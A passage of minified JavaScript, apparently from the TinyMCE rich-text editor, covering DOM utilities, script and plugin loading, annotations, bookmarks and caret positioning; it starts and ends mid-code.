t="string"==typeof e?s(e):e;return Hn(t)?t.outerHTML:Ya("<div></div>").append(Ya(t).clone()).html()},setOuterHTML:function(e,t){c(e).each(function(){try{if("outerHTML"in this)return void(this.outerHTML=t)}catch(e){}x(Ya(this).html(t),!0)})},decode:Zo.decode,encode:j,insertAfter:function(e,t){var r=s(t);return h(e,function(e){var t=r.parentNode,n=r.nextSibling;return n?t.insertBefore(e,n):t.appendChild(e),e})},replace:S,rename:function(t,e){var n;return t.nodeName!==e.toUpperCase()&&(n=C(e),Ga(o(t),function(e){i(n,e.nodeName,r(t,e.nodeName))}),S(n,t,!0)),n||t},findCommonAncestor:function(e,t){for(var n,r=e;r;){for(n=t;n&&r!==n;)n=n.parentNode;if(r===n)break;r=r.parentNode}return!r&&e.ownerDocument?e.ownerDocument.documentElement:r},toHex:function(e){return F.toHex(Nt.trim(e))},run:h,getAttribs:o,isEmpty:function(e,t){var n,r,o=0;if(N(e))return!1;if(e=e.firstChild){var i=new Dr(e,e.parentNode),a=M?M.getWhiteSpaceElements():{};t=t||(M?M.getNonEmptyElements():null);do{if(n=e.nodeType,Hn(e)){var u=e.getAttribute("data-mce-bogus");if(u){e=i.next("all"===u);continue}if(r=e.nodeName.toLowerCase(),t&&t[r]){if("br"!==r)return!1;o++,e=i.next();continue}if(N(e))return!1}if(8===n)return!1;if(3===n&&!$r(e.nodeValue))return!1;if(3===n&&e.parentNode&&a[e.parentNode.nodeName]&&$r(e.nodeValue))return!1;e=i.next()}while(e)}return o<=1},createRng:E,nodeIndex:Xa,split:function(e,t,n){var r,o,i,a=E();if(e&&t)return a.setStart(e.parentNode,Xa(e)),a.setEnd(t.parentNode,Xa(t)),r=a.extractContents(),(a=E()).setStart(t.parentNode,Xa(t)+1),a.setEnd(e.parentNode,Xa(e)+1),o=a.extractContents(),(i=e.parentNode).insertBefore(Vo($,r),e),n?i.insertBefore(n,e):i.insertBefore(t,e),i.insertBefore(Vo($,o),e),x(e),n||t},bind:V,unbind:q,fire:function(e,t,n){return U.fire(e,t,n)},getContentEditable:k,getContentEditableParent:function(e){for(var t=l(),n=null;e&&e!==t&&null===(n=k(e));e=e.parentNode);return n},destroy:function(){if(0<I.length)for(var e=I.length;e--;){var t=I[e];U.unbind(t[0],t[1],t[2])}ne(B,function(e,t){L.unload(t),delete B[t]}),ca.setDocument&&ca.setDocument()},isChildOf:function(e,t){if(Qa){for(;e;){if(t===e)return!0;e=e.parentNode}return!1}return e===t||t.contains(e)},dumpRng:function(e){return"startContainer: "+e.startContainer.nodeName+", startOffset: "+e.startOffset+", endContainer: "+e.endContainer.nodeName+", endOffset: "+e.endOffset}},W=(_=F,R=J($),e={set:function(e,t,n){A.url_converter&&null!==t&&(t=A.url_converter.call(A.url_converter_scope||R(),t,n,e[0])),e.attr("data-mce-"+n,t).attr(n,t)},get:function(e,t){return e.attr("data-mce-"+t)||e.attr(t)}},t={style:{set:function(e,t){null===t||"object"!=typeof t?(D&&e.attr("data-mce-style",t),null!==t&&"string"==typeof t?(e.removeAttr("style"),e.css(_.parse(t))):e.attr("style",t)):e.css(t)},get:function(e){var t=e.attr("data-mce-style")||e.attr("style");return _.serialize(_.parse(t),e[0].nodeName)}}},(D=(A=u).keep_values)&&(t.href=t.src=e),t);return $};eu.DOM=eu(document),eu.nodeIndex=Xa;var tu=eu.DOM,nu=Nt.each,ru=Nt.grep,ou=(iu.prototype._setReferrerPolicy=function(e){this.settings.referrerPolicy=e},iu.prototype.loadScript=function(e,t,n){function r(){o.remove(i),a&&(a.onerror=a.onload=a=null)}var o=tu,i=o.uniqueId(),a=document.createElement("script");a.id=i,a.type="text/javascript",a.src=Nt._addCacheSuffix(e),this.settings.referrerPolicy&&o.setAttrib(a,"referrerpolicy",this.settings.referrerPolicy),a.onload=function(){r(),t()},a.onerror=function(){r(),y(n)?n():"undefined"!=typeof console&&console.log&&console.log("Failed to load script: "+e)},(document.getElementsByTagName("head")[0]||document.body).appendChild(a)},iu.prototype.isDone=function(e){return 2===this.states[e]},iu.prototype.markDone=function(e){this.states[e]=2},iu.prototype.add=function(e,t,n,r){var o=this.states[e];this.queue.push(e),void 0===o&&(this.states[e]=0),t&&(this.scriptLoadedCallbacks[e]||(this.scriptLoadedCallbacks[e]=[]),this.scriptLoadedCallbacks[e].push({success:t,failure:r,scope:n||this}))},iu.prototype.load=function(e,t,n,r){return this.add(e,t,n,r)},iu.prototype.remove=function(e){delete this.states[e],delete this.scriptLoadedCallbacks[e]},iu.prototype.loadQueue=function(e,t,n){this.loadScripts(this.queue,e,t,n)},iu.prototype.loadScripts=function(n,e,t,r){function o(t,e){nu(i.scriptLoadedCallbacks[e],function(e){y(e[t])&&e[t].call(e.scope)}),i.scriptLoadedCallbacks[e]=void 0}var i=this,a=[];i.queueLoadedCallbacks.push({success:e,failure:r,scope:t||this});var u=function(){var e,t=ru(n);n.length=0,nu(t,function(e){2!==i.states[e]?3!==i.states[e]?1!==i.states[e]&&(i.states[e]=1,i.loading++,i.loadScript(e,function(){i.states[e]=2,i.loading--,o("success",e),u()},function(){i.states[e]=3,i.loading--,a.push(e),o("failure",e),u()})):o("failure",e):o("success",e)}),i.loading||(e=i.queueLoadedCallbacks.slice(0),i.queueLoadedCallbacks.length=0,nu(e,function(e){0===a.length?y(e.success)&&e.success.call(e.scope):y(e.failure)&&e.failure.call(e.scope,a)}))};u()},iu.ScriptLoader=new iu,iu);function iu(e){void 0===e&&(e={}),this.states={},this.queue=[],this.scriptLoadedCallbacks={},this.queueLoadedCallbacks=[],this.loading=0,this.settings=e}function au(e){var t=e;return{get:function(){return t},set:function(e){t=e}}}function uu(){return ue(su,cu.get())}var su={},cu=au("en"),lu={getData:function(){return re(su,function(e){return _e({},e)})},setCode:function(e){e&&cu.set(e)},getCode:function(){return cu.get()},add:function(e,t){var n=su[e];n||(su[e]=n={}),ne(t,function(e,t){n[t.toLowerCase()]=e})},translate:function(e){function n(e){return y(e)?Object.prototype.toString.call(e):u(e)?"":""+e}function t(e){var t=n(e);return ue(a,t.toLowerCase()).map(n).getOr(t)}function r(e){return e.replace(/{context:\w+}$/,"")}var o,i,a=uu().getOr({}),u=function(e){return""===e||null==e};if(u(e))return"";if(h(o=e)&&Ee(o,"raw"))return n(e.raw);if(S(i=e)&&1<i.length){var s=e.slice(1);return r(t(e[0]).replace(/\{([0-9]+)\}/g,function(e,t){return Ee(s,t)?n(s[t]):e}))}return r(t(e))},isRtl:function(){return uu().bind(function(e){return ue(e,"_dir")}).exists(function(e){return"rtl"===e})},hasCode:function(e){return Ee(su,e)}},fu=function(){function u(t,n){Y(U(r,function(e){return e.name===t&&e.state===n}),function(e){return e.callback()})}function s(e){var t;return(f[e]?f[e].dependencies:t)||[]}function c(e,t){return"object"==typeof t?t:"string"==typeof e?{prefix:"",resource:t,suffix:""}:{prefix:e.prefix,resource:t,suffix:e.suffix}}function e(e,t,n){void 0===n&&(n="added"),Ee(f,e)&&"added"===n||Ee(l,e)&&"loaded"===n?t():r.push({name:e,state:n,callback:t})}var o=[],l={},f={},r=[],d=function(r,o,i,a,e){var t,n;l[r]||(0!==(t="string"==typeof o?o:o.prefix+o.resource+o.suffix).indexOf("/")&&-1===t.indexOf("://")&&(t=fu.baseURL+"/"+t),l[r]=t.substring(0,t.lastIndexOf("/")),n=function(){var n,e,t;u(r,"loaded"),n=o,e=i,t=a,Y(s(r),function(e){var t=c(n,e);d(t.resource,t,void 0,void 0)}),e&&(t?e.call(t):e.call(ou))},f[r]?n():ou.ScriptLoader.add(t,n,a,e))};return{items:o,urls:l,lookup:f,_listeners:r,get:function(e){if(f[e])return f[e].instance},dependencies:s,requireLangPack:function(t,n){!1!==fu.languageLoad&&e(t,function(){var e=lu.getCode();!e||n&&-1===(","+(n||"")+",").indexOf(","+e+",")||ou.ScriptLoader.add(l[t]+"/langs/"+e+".js")},"loaded")},add:function(e,t,n){var r=t;return o.push(r),f[e]={instance:r,dependencies:n},u(e,"added"),r},remove:function(e){delete l[e],delete f[e]},createUrl:c,addComponents:function(e,t){var n=l[e];Y(t,function(e){ou.ScriptLoader.add(n+"/"+e)})},load:d,waitFor:e}};function du(){var e,t,n=(e=te,t=au(ve.none()),{clear:function(){r(),t.set(ve.none())},isSet:function(){return t.get().isSome()},get:function(){return t.get()},set:function(e){r(),t.set(ve.some(e))}});function r(){return t.get().each(e)}return _e(_e({},n),{on:function(e){return n.get().each(e)}})}function mu(n,r){var o=null;return{cancel:function(){l(o)||(clearTimeout(o),o=null)},throttle:function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];l(o)&&(o=setTimeout(function(){o=null,n.apply(null,e)},r))}}}function gu(n,r){function o(){l(i)||(clearTimeout(i),i=null)}var i=null;return{cancel:o,throttle:function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];o(),i=setTimeout(function(){i=null,n.apply(null,e)},r)}}}function pu(e,t){var n=vn(e,t);return void 0===n||""===n?[]:n.split(" ")}function hu(e){return void 0!==e.dom.classList}function vu(e,t){var n,r,o;hu(e)?e.dom.classList.add(t):(r=t,o=pu(n=e,"class").concat([r]),pn(n,"class",o.join(" ")))}function bu(e,t){return hu(e)&&e.dom.classList.contains(t)}function yu(e,t){return He(n=void 0===e?document:e.dom)?[]:A(n.querySelectorAll(t),Et.fromDom);var n}function Cu(r,e){function t(e,t){return yn(e,t)?ve.some(vn(e,t)):ve.none()}var n=r.selection.getRng(),o=Et.fromDom(n.startContainer),i=Et.fromDom(r.getBody()),a=e.fold(function(){return"."+$u()},function(e){return"["+Wu()+'="'+e+'"]'});return yr(Mt(o,n.startOffset).getOr(o),a,function(e){return je(e,i)}).bind(function(e){return t(e,""+Ku()).bind(function(n){return t(e,""+Wu()).map(function(e){var t=Xu(r,n);return{uid:n,name:e,elements:t}})})})}function xu(t){function o(){return{listeners:[],previous:du()}}function c(e,t){n(e,function(e){return t(e),e})}function n(e,t){var n=i.get(),r=t(ue(n,e).getOrThunk(o));n[e]=r,i.set(n)}var i=au({}),e=gu(function(){var e=i.get();Y(W(we(e)),function(e){n(e,function(u){var s=u.previous.get();return Cu(t,ve.some(e)).fold(function(){var t;s.isSome()&&(c(t=e,function(e){Y(e.listeners,function(e){return e(!1,t)})}),u.previous.clear())},function(e){var t,n,r,o=e.uid,i=e.name,a=e.elements;fn(s,o)||(n=o,r=a,c(t=i,function(e){Y(e.listeners,function(e){return e(!0,t,{uid:n,nodes:A(r,function(e){return e.dom})})})}),u.previous.set(o))}),{previous:u.previous,listeners:u.listeners}})})},30);return t.on("remove",function(){e.cancel()}),t.on("NodeChange",function(){e.throttle()}),{addListener:function(e,t){n(e,function(e){return{previous:e.previous,listeners:e.listeners.concat([t])}})}}}function wu(e){var t=(new Date).getTime();return e+"_"+Math.floor(1e9*Math.random())+ ++Yu+String(t)}function Su(e,t){var n,r,o=Rt(e).dom,i=Et.fromDom(o.createDocumentFragment());Kt(i,(n=t,(r=(o||document).createElement("div")).innerHTML=n,Tn(Et.fromDom(r)))),Xt(e),Ln(e,i)}function Nu(e,t){return Et.fromDom(e.dom.cloneNode(t))}function Eu(e){return Nu(e,!1)}function ku(e){return Nu(e,!0)}function _u(e,t,n){function r(e){for(var t;(t=o[e]())&&!Vn(t)&&!n(t););return ve.from(t).filter(Vn)}void 0===n&&(n=D);var o=new Dr(e,t);return{current:function(){return ve.from(o.current()).filter(Vn)},next:function(){return r("next")},prev:function(){return r("prev")},prev2:function(){return r("prev2")}}}function Au(t,e){var i=e||function(e){return t.isBlock(e)||Kn(e)||Gn(e)},a=function(e,t,n,r){if(Vn(e)){var o=r(e,t,e.data);if(-1!==o)return ve.some({container:e,offset:o})}return n().bind(function(e){return a(e.container,e.offset,n,r)})};return{backwards:function(e,t,n,r){var o=_u(e,r,i);return a(e,t,function(){return o.prev().map(function(e){return{container:e,offset:e.length}})},n).getOrNull()},forwards:function(e,t,n,r){var o=_u(e,r,i);return a(e,t,function(){return o.next().map(function(e){return{container:e,offset:0}})},n).getOrNull()}}}function Ru(e){return e?{left:Gu(e.left),top:Gu(e.top),bottom:Gu(e.bottom),right:Gu(e.right),width:Gu(e.width),height:Gu(e.height)}:{left:0,top:0,bottom:0,right:0,width:0,height:0}}function Du(e,t){return e=Ru(e),t||(e.left=e.left+e.width),e.right=e.left,e.width=0,e}function Tu(e,t,n){return 0<=e&&e<=Math.min(t.height,n.height)/2}function Ou(e,t){var n=Math.min(t.height/2,e.height/2);return e.bottom-n<t.top||!(e.top>t.bottom)&&Tu(t.top-e.bottom,e,t)}function Bu(e,t){return e.top>t.bottom||!(e.bottom<t.top)&&Tu(t.bottom-e.top,e,t)}function Pu(e,t,n){return t>=e.left&&t<=e.right&&n>=e.top&&n<=e.bottom}function Lu(e){var t=e.startContainer,n=e.startOffset;return t.hasChildNodes()&&e.endOffset===n+1?t.childNodes[n]:null}function Iu(e,t){if(Hn(e)&&e.hasChildNodes()){var n=e.childNodes;return n[r=n.length-1,Math.min(Math.max(t,0),r)]}return e;var r}function Mu(e){return"string"==typeof e&&768<=e.charCodeAt(0)&&Ju.test(e)}function Fu(e){return"createRange"in e?e.createRange():eu.DOM.createRng()}function Uu(e){return e&&/[\r\n\t ]/.test(e)}function zu(e){return e.setStart&&e.setEnd}function Hu(e){var t=e.startContainer,n=e.startOffset;if(Uu(e.toString())&&rs(t.parentNode)&&Vn(t)){var r=t.data;return Uu(r[n-1])||Uu(r[n+1])?1:void 0}}function ju(e){return 0===e.left&&0===e.right&&0===e.top&&0===e.bottom}function Vu(e,t){var n=Du(e,t);return n.width=1,n.right=n.left+1,n}fu.languageLoad=!0,fu.baseURL="",fu.PluginManager=fu(),fu.ThemeManager=fu();var qu=function(e,t){var n=[];return Y(Tn(e),function(e){n=(n=t(e)?n.concat([e]):n).concat(qu(e,t))}),n},$u=J("mce-annotation"),Wu=J("data-mce-annotation"),Ku=J("data-mce-annotation-uid"),Xu=function(e,t){return yu(Et.fromDom(e.getBody()),"["+Ku()+'="'+t+'"]')},Yu=0,Gu=Math.round,Ju=new RegExp("[\u0300-\u036f\u0483-\u0487\u0488-\u0489\u0591-\u05bd\u05bf\u05c1-\u05c2\u05c4-\u05c5\u05c7\u0610-\u061a\u064b-\u065f\u0670\u06d6-\u06dc\u06df-\u06e4\u06e7-\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u08e3-\u0902\u093a\u093c\u0941-\u0948\u094d\u0951-\u0957\u0962-\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2-\u09e3\u0a01-\u0a02\u0a3c\u0a41-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a51\u0a70-\u0a71\u0a75\u0a81-\u0a82\u0abc\u0ac1-\u0ac5\u0ac7-\u0ac8\u0acd\u0ae2-\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62-\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c00\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55-\u0c56\u0c62-\u0c63\u0c81\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc-\u0ccd\u0cd5-\u0cd6\u0ce2-\u0ce3\u0d01\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62-\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb-\u0ebc\u0ec8-\u0ecd\u0f18-\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86-\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039-\u103a\u103d-\u103e\u1058-\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085-\u1086\u108d\u109d\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752-\u1753\u1772-\u1773\u17b4-\u17b5\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927-\u1928\u1932\u1939-\u193b\u1a17-\u1a18\u1a1b\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1ab0-\u1abd\u1abe\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80-\u1b81\u1ba2-\u1ba5\u1ba8-\u1ba9\u1bab-\u1bad\u1be6\u1be8-\u1be9\u1bed\u1bef-\u1bf1\u1c2c-\u1c33\u1c36-\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1cf4\u1cf8-\u1cf9\u1dc0-\u1df5\u1dfc-\u1dff\u200c-\u200d\u20d0-\u20dc\u20dd-\u20e0\u20e1\u20e2-\u20e4\u20e5-\u20f0\u2cef-\u2cf1\u2d7f\u2de0-\u2dff\u302a-\u302d\u302e-\u302f\u3099-\u309a\ua66f\ua670-\ua672\ua674-\ua67d\ua69e-\ua69f\ua6f0-\ua6f1\ua802\ua806\ua80b\ua825-\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\ua9e5\uaa29-\uaa2e\uaa31-\uaa32\uaa35-\uaa36\uaa43\uaa4c\uaa7c\uaab0\uaab2-\uaab4\uaab7-\uaab8\uaabe-\uaabf\uaac1\uaaec-\uaaed\uaaf6\uabe5\uabe8\uabed\ufb1e\ufe00-\ufe0f\ufe20-\ufe2f\uff9e-\uff9f]"),Qu=Hn,Zu=Vr,es=an("display","block table"),ts=an("float","left right"),ns=function(){for(var n=[],e=0;e<arguments.length;e++)n[e]=arguments[e];return function(e){for(var t=0;t<n.length;t++)if(!n[t](e))return!1;return!0}}(Qu,Zu,s(ts)),rs=s(an("white-space","pre pre-line pre-wrap")),os=Vn,is=Kn,as=eu.nodeIndex,us=function(e,t){if(!(t<0&&Hn(e)&&e.hasChildNodes()))return Iu(e,t)},ss=function(e){var t=e.getClientRects(),n=0<t.length?Ru(t[0]):Ru(e.getBoundingClientRect());return!zu(e)&&is(e)&&ju(n)?function(e){var t=e.ownerDocument,n=Fu(t),r=t.createTextNode(wo),o=e.parentNode;o.insertBefore(r,e),n.setStart(r,0),n.setEnd(r,1);var i=Ru(n.getBoundingClientRect());return o.removeChild(r),i}(e):ju(n)&&zu(e)?function(e){var t=e.startContainer,n=e.endContainer,r=e.startOffset,o=e.endOffset;if(t===n&&Vn(n)&&0===r&&1===o){var i=e.cloneRange();return i.setEndAfter(n),ss(i)}return null}(e):n},cs=function(t,n,e){function r(){return e=e||function(e){function r(e){var t;0!==e.height&&(0<o.length&&(t=o[o.length-1],e.left===t.left&&e.top===t.top&&e.bottom===t.bottom&&e.right===t.right)||o.push(e))}function t(e,t){var n=Fu(e.ownerDocument);if(t<e.data.length){if(Mu(e.data[t]))return o;if(Mu(e.data[t-1])&&(n.setStart(e,t),n.setEnd(e,t+1),!Hu(n)))return r(Vu(ss(n),!1)),o}0<t&&(n.setStart(e,t-1),n.setEnd(e,t),Hu(n)||r(Vu(ss(n),!1))),t<e.data.length&&(n.setStart(e,t),n.setEnd(e,t+1),Hu(n)||r(Vu(ss(n),!0)))}var o=[],n=e.container(),i=e.offset();if(os(n))return t(n,i),o;if(Qu(n))if(e.isAtEnd()){var a=us(n,i);os(a)&&t(a,a.data.length),ns(a)&&!is(a)&&r(Vu(ss(a),!1))}else{if(a=us(n,i),os(a)&&t(a,0),ns(a)&&e.isAtEnd())return r(Vu(ss(a),!1)),o;var u=us(e.container(),e.offset()-1);ns(u)&&!is(u)&&(!es(u)&&!es(a)&&ns(a)||r(Vu(ss(u),!1))),ns(a)&&r(Vu(ss(a),!0))}return o}(cs(t,n))}return{container:J(t),offset:J(n),toRange:function(){var e=Fu(t.ownerDocument);return e.setStart(t,n),e.setEnd(t,n),e},getClientRects:r,isVisible:function(){return 0<r().length},isAtStart:function(){return os(t),0===n},isAtEnd:function(){return os(t)?n>=t.data.length:n>=t.childNodes.length},isEqual:function(e){return e&&t===e.container()&&n===e.offset()},getNode:function(e){return us(t,e?n-1:n)}}};function ls(e,t){Vn(t)&&0===t.data.length&&e.remove(t)}function fs(e,t,n){var r,o,i,a,u,s,c;Wn(n)?(i=e,a=t,s=ve.from((u=n).firstChild),c=ve.from(u.lastChild),a.insertNode(u),s.each(function(e){return ls(i,e.previousSibling)}),c.each(function(e){return ls(i,e.nextSibling)})):(r=e,t.insertNode(o=n),ls(r,o.previousSibling),ls(r,o.nextSibling))}function ds(t){return function(e){return t===e}}function ms(e){var t,r,n,o;return(lc(e)?"text()":e.nodeName.toLowerCase())+"["+(r=gc(mc(t=e)),n=ge(r,ds(t),t),o=me(r=r.slice(0,n+1),function(e,t,n){return lc(t)&&lc(r[n-1])&&e++,e},0),ge(r=fe(r,on([t.nodeName])),ds(t),t)-o)+"]"}function gs(e,t){var n,r,o,i=[],a=t.container(),u=t.offset();return lc(a)?n=function(e,t){for(;(e=e.previousSibling)&&lc(e);)t+=e.data.length;return t}(a,u):(u>=(r=a.childNodes).length?(n="after",u=r.length-1):n="before",a=r[u]),i.push(ms(a)),o=fe(function(e,t){var n=[];for(t=t.parentNode;t!==e;t=t.parentNode)n.push(t);return n}(e,a),s(sn)),(i=i.concat(le(o,ms))).reverse().join("/")+","+n}function ps(e,t){if(!t)return null;var n=t.split(","),r=n[0].split("/"),o=1<n.length?n[1]:"before",i=me(r,function(e,t){var n,r,o,i,a=/([\w\-\(\)]+)\[([0-9]+)\]/.exec(t);return a?("text()"===a[1]&&(a[1]="#text"),n=e,r=a[1],o=parseInt(a[2],10),i=fe(i=gc(n),function(e,t){return!lc(e)||!lc(i[t-1])}),(i=fe(i,on([r])))[o]):null},e);return i?lc(i)?function(e,t){for(var n,r=e,o=0;lc(r);){if(n=r.data.length,o<=t&&t<=o+n){e=r,t-=o;break}if(!lc(r.nextSibling)){e=r,t=n;break}o+=n,r=r.nextSibling}return lc(e)&&t>e.data.length&&(t=e.data.length),cs(e,t)}(i,parseInt(o,10)):(o="after"===o?dc(i)+1:dc(i),cs(i.parentNode,o)):null}function hs(e,t,n,r,o){var i,a=r[o?"startContainer":"endContainer"],u=r[o?"startOffset":"endOffset"],s=[],c=0,l=e.getRoot();for(Vn(a)?s.push(n?function(e,t,n){for(var r=e(t.data.slice(0,n)).length,o=t.previousSibling;o&&Vn(o);o=o.previousSibling)r+=e(o.data).length;return r}(t,a,u):u):(u>=(i=a.childNodes).length&&i.length&&(c=1,u=Math.max(0,i.length-1)),s.push(e.nodeIndex(i[u],n)+c));a&&a!==l;a=a.parentNode)s.push(e.nodeIndex(a,n));return s}function vs(e,t,n){var r=0;return Nt.each(e.select(t),function(e){if("all"!==e.getAttribute("data-mce-bogus"))return e!==n&&void r++}),r}function bs(e,t){var n,r=t?"start":"end",o=e[r+"Container"],i=e[r+"Offset"];Hn(o)&&"TR"===o.nodeName&&(o=(n=o.childNodes)[Math.min(t?i:i-1,n.length-1)])&&(i=t?0:o.childNodes.length,e["set"+(t?"Start":"End")](o,i))}function ys(e){return bs(e,!0),bs(e,!1),e}function Cs(e,t){var n;return Hn(e)&&(e=Iu(e,t),pc(e))?e:Mr(e)?(n=(e=Vn(e)&&Lr(e)?e.parentNode:e).previousSibling,pc(n)?n:(n=e.nextSibling,pc(n)?n:void 0)):void 0}function xs(e,t,n){var r=n.getNode(),o=r?r.nodeName:null,i=n.getRng();if(pc(r)||"IMG"===o)return{name:o,index:vs(n.dom,o,r)};var a,u,s,c,l,f,d,m=Cs((a=i).startContainer,a.startOffset)||Cs(a.endContainer,a.endOffset);return m?{name:o=m.tagName,index:vs(n.dom,o,m)}:(f=(s=n).dom,(d={}).start=hs(f,u=e,c=t,l=i,!0),s.isCollapsed()||(d.end=hs(f,u,c,l,!1)),jr(l)&&(d.isFakeCaret=!0),d)}function ws(e,t,n){var r={"data-mce-type":"bookmark",id:t,style:"overflow:hidden;line-height:0px"};return n?e.create("span",r,"&#xFEFF;"):e.create("span",r)}function Ss(e,t){var n=e.dom,r=e.getRng(),o=n.uniqueId(),i=e.isCollapsed(),a=e.getNode(),u=a.nodeName;if("IMG"===u)return{name:u,index:vs(n,u,a)};var s=ys(r.cloneRange());return i||(s.collapse(!1),fs(n,s,ws(n,o+"_end",t))),(r=ys(r)).collapse(!0),fs(n,r,ws(n,o+"_start",t)),e.moveToBookmark({id:o,keep:!0}),{id:o}}function Ns(e,t,n){var r=e.getParam(t,n);return-1===r.indexOf("=")?r:ue(e.getParam(t,"","hash"),e.id).getOr(n)}function Es(e){return e.getParam("content_security_policy","")}function ks(e){if(e.getParam("force_p_newlines",!1))return"p";var t=e.getParam("forced_root_block","p");return!1===t?"":!0===t?"p":t}function _s(e){return e.getParam("forced_root_block_attrs",{})}function As(e){return e.getParam("automatic_uploads",!0,"boolean")}function Rs(e){return e.getParam("icons","","string")}function Ds(e){return e.getParam("referrer_policy","","string")}function Ts(e){return e.getParam("language","en","string")}function Os(e){return e.getParam("indent_use_margin",!1)}function Bs(e){var t=e.getParam("font_css",[]);return S(t)?t:A(t.split(","),Je)}function Ps(e){var t=e.getParam("object_resizing");return!1!==t&&!xt.iOS&&(X(t)?t:"table,img,figure.image,div,video,iframe")}function Ls(e){return e.getParam("event_root")}function Is(e){return e.getParam("theme")}function Ms(e){return!1!==e.getParam("inline_boundaries")}function Fs(e){return e.getParam("plugins","","string")}function Us(e){var t=e.parentNode;t&&t.removeChild(e)}function zs(e){var t=Eo(e);return{count:e.length-t.length,text:t}}function Hs(e){for(var t;-1!==(t=e.data.lastIndexOf(So));)e.deleteData(t,1)}function js(e,t){return Cc(e),t}function Vs(e,t){var n,r=t.container(),o=(-1===(n=_(xe(r.childNodes),e))?ve.none():ve.some(n)).map(function(e){return e<t.offset()?cs(r,t.offset()-1):t}).getOr(t);return Cc(e),o}function qs(e,t){return cs.isTextPosition(t)?(r=t,yc(n=e)&&r.container()===n?(a=zs((o=n).data.substr(0,(i=r).offset())),u=zs(o.data.substr(i.offset())),0<(a.text+u.text).length?(Hs(o),cs(o,i.offset()-a.count)):i):js(n,r)):(s=e,((c=t).container()===s.parentNode?Vs:js)(s,c));var n,r,o,i,a,u,s,c}function $s(e,t,n){var r,o,i,a=Du(t.getBoundingClientRect(),n),u="BODY"===e.tagName?(r=e.ownerDocument.documentElement,o=e.scrollLeft||r.scrollLeft,e.scrollTop||r.scrollTop):(i=e.getBoundingClientRect(),o=e.scrollLeft-i.left,e.scrollTop-i.top);a.left+=o,a.right+=o,a.top+=u,a.bottom+=u,a.width=1;var s=t.offsetWidth-t.clientWidth;return 0<s&&(n&&(s*=-1),a.left+=s,a.right+=s),a}function Ws(e,i,a,u){function s(){!function(){for(var e=yu(Et.fromDom(i),"*[contentEditable=false],video,audio,embed,object"),t=0;t<e.length;t++){var n,r=e[t].dom,o=r.previousSibling;Ro(o)&&(1===(n=o.data).length?o.parentNode.removeChild(o):o.deleteData(n.length-1,1)),o=r.nextSibling,Ao(o)&&(1===(n=o.data).length?o.parentNode.removeChild(o):o.deleteData(0,1))}}(),l&&(Cc(l),l=null),f.on(function(e){Ya(e.caret).remove(),f.clear()}),c&&(Ar.clearInterval(c),c=void 0)}var c,l,f=du(),t=ks(e),d=0<t.length?t:"p";return{show:function(e,t){var n;if(s(),Nc(t))return null;if(!a(t))return l=function(e,t){var n=e.ownerDocument.createTextNode(So),r=e.parentNode;if(t){if(o=e.previousSibling,_o(o)){if(Mr(o))return o;if(Ro(o))return o.splitText(o.data.length-1)}r.insertBefore(n,e)}else{var o=e.nextSibling;if(_o(o)){if(Mr(o))return o;if(Ao(o))return o.splitText(1),o}e.nextSibling?r.insertBefore(n,e.nextSibling):r.appendChild(n)}return n}(t,e),n=t.ownerDocument.createRange(),Ec(l.nextSibling)?(n.setStart(l,0),n.setEnd(l,0)):(n.setStart(l,1),n.setEnd(l,1)),n;l=function(e,t,n){var r,o=t.ownerDocument.createElement(e);o.setAttribute("data-mce-caret",n?"before":"after"),o.setAttribute("data-mce-bogus","all"),o.appendChild(((r=document.createElement("br")).setAttribute("data-mce-bogus","1"),r));var i=t.parentNode;return n?i.insertBefore(o,t):t.nextSibling?i.insertBefore(o,t.nextSibling):i.appendChild(o),o}(d,t,e);var r=$s(i,t,e);Ya(l).css("top",r.top);var o=Ya('<div class="mce-visual-caret" data-mce-bogus="all"></div>').css(_e({},r)).appendTo(i)[0];return f.set({caret:o,element:t,before:e}),e&&Ya(o).addClass("mce-visual-caret-before"),c=Ar.setInterval(function(){u()?Ya("div.mce-visual-caret",i).toggleClass("mce-visual-caret-hidden"):Ya("div.mce-visual-caret",i).addClass("mce-visual-caret-hidden")},500),(n=t.ownerDocument.createRange()).setStart(l,0),n.setEnd(l,0),n},hide:s,getCss:function(){return".mce-visual-caret {position: absolute;background-color: black;background-color: currentcolor;}.mce-visual-caret-hidden {display: none;}*[data-mce-caret] {position: absolute;left: -1000px;right: auto;top: 0;margin: 0;padding: 0;}"},reposition:function(){f.on(function(e){var t=$s(i,e.element,e.before);Ya(e.caret).css(_e({},t))})},destroy:function(){return Ar.clearInterval(c)}}}function Ks(){return xc.isIE()||xc.isEdge()||xc.isFirefox()}function Xs(e){return Ec(e)||cn(e)&&Ks()}function Ys(e,t){for(var n;n=e(t);)if(!Dc(n))return n;return null}function Gs(e,t,n,r,o){var i=new 